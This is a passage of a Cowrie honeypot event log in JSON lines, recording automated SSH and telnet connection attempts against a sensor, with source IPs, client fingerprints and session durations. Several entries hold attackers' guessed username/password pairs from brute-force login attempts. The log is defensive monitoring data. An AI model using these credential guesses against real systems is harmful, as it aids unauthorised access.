.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:30.181966Z","src_ip":"103.27.238.116","session":"3c23a8460af7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1111111q","message":"login attempt [root/1111111q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:30.978744Z","src_ip":"103.27.238.116","session":"3c23a8460af7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:31.025994Z","src_ip":"193.228.128.84","session":"a7ad215682e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:32.247048Z","src_ip":"103.27.238.116","session":"3c23a8460af7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45576,"dst_ip":"10.17.0.5","dst_port":23,"session":"957757762761","protocol":"telnet","message":"New connection: 152.42.224.71:45576 (10.17.0.5:23) [session: 957757762761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:32.361085Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45590,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ed4e240935d","protocol":"telnet","message":"New connection: 152.42.224.71:45590 (10.17.0.5:23) [session: 9ed4e240935d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:33.110593Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48380,"dst_ip":"10.17.0.5","dst_port":23,"session":"4065e7516435","protocol":"telnet","message":"New connection: 152.42.224.71:48380 (10.17.0.5:23) [session: 4065e7516435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:36.640193Z"}
{"eventid":"cowrie.session.closed","duration":120.00151181221008,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:37.142666Z","src_ip":"152.42.224.71","session":"fce646f7719d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35320,"dst_ip":"159.203.135.109","dst_port":22,"session":"378223591497","protocol":"ssh","message":"New connection: 31.40.204.166:35320 (159.203.135.109:22) [session: 378223591497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:37.211637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:37.287217Z","src_ip":"31.40.204.166","session":"378223591497","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:37.412725Z","src_ip":"31.40.204.166","session":"378223591497","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48384,"dst_ip":"10.17.0.5","dst_port":23,"session":"beeba3f2ed44","protocol":"telnet","message":"New connection: 152.42.224.71:48384 (10.17.0.5:23) [session: beeba3f2ed44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:37.507324Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:38.013757Z","src_ip":"31.40.204.166","session":"378223591497","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00151824951172,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:38.749449Z","src_ip":"152.42.224.71","session":"0691e6f0e1bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:39.301714Z","src_ip":"31.40.204.166","session":"378223591497","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36380,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e07a905d5bf","protocol":"telnet","message":"New connection: 152.42.224.71:36380 (10.17.0.5:23) [session: 8e07a905d5bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:48.183096Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56934,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc2814889618","protocol":"ssh","message":"New connection: 31.40.204.166:56934 (159.203.135.109:22) [session: cc2814889618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:48.914920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:48.919139Z","src_ip":"31.40.204.166","session":"cc2814889618","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.76934480667114,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:49.018537Z","src_ip":"152.42.224.71","session":"1f95d61a1655","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:49.095998Z","src_ip":"31.40.204.166","session":"cc2814889618","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36388,"dst_ip":"10.17.0.5","dst_port":23,"session":"044067bf1160","protocol":"telnet","message":"New connection: 152.42.224.71:36388 (10.17.0.5:23) [session: 044067bf1160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:49.183038Z"}
{"eventid":"cowrie.login.failed","username":"lenovo","password":"lenovo","message":"login attempt [lenovo/lenovo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:49.589263Z","src_ip":"31.40.204.166","session":"cc2814889618","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:50.805237Z","src_ip":"31.40.204.166","session":"cc2814889618","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36404,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6a13bfe6507","protocol":"telnet","message":"New connection: 152.42.224.71:36404 (10.17.0.5:23) [session: b6a13bfe6507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:51.202745Z"}
{"eventid":"cowrie.session.closed","duration":48.6400203704834,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:55.451113Z","src_ip":"152.42.224.71","session":"e77f2292bc2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00139546394348,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:55.580593Z","src_ip":"152.42.224.71","session":"b15932f4929c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46912,"dst_ip":"10.17.0.5","dst_port":23,"session":"64b883eb6642","protocol":"telnet","message":"New connection: 152.42.224.71:46912 (10.17.0.5:23) [session: 64b883eb6642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:55.855884Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46914,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b2652cbbb92","protocol":"telnet","message":"New connection: 152.42.224.71:46914 (10.17.0.5:23) [session: 7b2652cbbb92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:56.233384Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46930,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8e943e47854","protocol":"telnet","message":"New connection: 152.42.224.71:46930 (10.17.0.5:23) [session: c8e943e47854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:58.356805Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60316,"dst_ip":"159.203.135.109","dst_port":22,"session":"a38382d48c51","protocol":"ssh","message":"New connection: 31.40.204.166:60316 (159.203.135.109:22) [session: a38382d48c51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:00.086039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:00.101628Z","src_ip":"31.40.204.166","session":"a38382d48c51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:00.286245Z","src_ip":"31.40.204.166","session":"a38382d48c51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123","message":"login attempt [test/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:00.789901Z","src_ip":"31.40.204.166","session":"a38382d48c51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:01.925021Z","src_ip":"31.40.204.166","session":"a38382d48c51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46944,"dst_ip":"10.17.0.5","dst_port":23,"session":"83ea32ab0c7e","protocol":"telnet","message":"New connection: 152.42.224.71:46944 (10.17.0.5:23) [session: 83ea32ab0c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:01.963871Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.132.28","src_port":28476,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a5565e7daf1","protocol":"telnet","message":"New connection: 152.32.132.28:28476 (10.17.0.5:23) [session: 9a5565e7daf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:02.166566Z"}
{"eventid":"cowrie.session.closed","duration":31.31297254562378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:03.673920Z","src_ip":"152.42.224.71","session":"957757762761","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.57933235168457,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:05.951792Z","src_ip":"152.42.224.71","session":"a9353f89f01c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56488,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c048158dd9b","protocol":"telnet","message":"New connection: 152.42.224.71:56488 (10.17.0.5:23) [session: 5c048158dd9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:06.126787Z"}
{"eventid":"cowrie.session.closed","duration":36.54365849494934,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:09.654116Z","src_ip":"152.42.224.71","session":"9ed4e240935d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56498,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaf45c2d2b27","protocol":"telnet","message":"New connection: 152.42.224.71:56498 (10.17.0.5:23) [session: aaf45c2d2b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:09.681466Z"}
{"eventid":"cowrie.session.closed","duration":45.761940717697144,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:10.305101Z","src_ip":"152.42.224.71","session":"c93f649ed676","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56504,"dst_ip":"10.17.0.5","dst_port":23,"session":"985209d820ed","protocol":"telnet","message":"New connection: 152.42.224.71:56504 (10.17.0.5:23) [session: 985209d820ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:10.996331Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49338,"dst_ip":"159.203.135.109","dst_port":22,"session":"22e6c5086b42","protocol":"ssh","message":"New connection: 31.40.204.166:49338 (159.203.135.109:22) [session: 22e6c5086b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:11.507140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:11.511543Z","src_ip":"31.40.204.166","session":"22e6c5086b42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:11.685056Z","src_ip":"31.40.204.166","session":"22e6c5086b42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.897095441818237,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:12.099738Z","src_ip":"152.42.224.71","session":"b6a13bfe6507","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"fa","password":"fa","message":"login attempt [fa/fa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:12.196264Z","src_ip":"31.40.204.166","session":"22e6c5086b42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56508,"dst_ip":"10.17.0.5","dst_port":23,"session":"da524c0a466d","protocol":"telnet","message":"New connection: 152.42.224.71:56508 (10.17.0.5:23) [session: da524c0a466d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:12.517290Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:13.405910Z","src_ip":"31.40.204.166","session":"22e6c5086b42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":53588,"dst_ip":"10.17.0.5","dst_port":22,"session":"f28d0f79f9d8","protocol":"ssh","message":"New connection: 103.122.221.179:53588 (10.17.0.5:22) [session: f28d0f79f9d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:14.023433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:14.031502Z","src_ip":"103.122.221.179","session":"f28d0f79f9d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:14.275410Z","src_ip":"103.122.221.179","session":"f28d0f79f9d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789456123q","message":"login attempt [root/789456123q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:15.009581Z","src_ip":"103.122.221.179","session":"f28d0f79f9d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56512,"dst_ip":"10.17.0.5","dst_port":23,"session":"8727ae0f936a","protocol":"telnet","message":"New connection: 152.42.224.71:56512 (10.17.0.5:23) [session: 8727ae0f936a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:15.736814Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:16.256535Z","src_ip":"103.122.221.179","session":"f28d0f79f9d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":117.92283320426941,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:16.911072Z","src_ip":"152.42.224.71","session":"37862aa6fcf5","protocol":"telnet"}
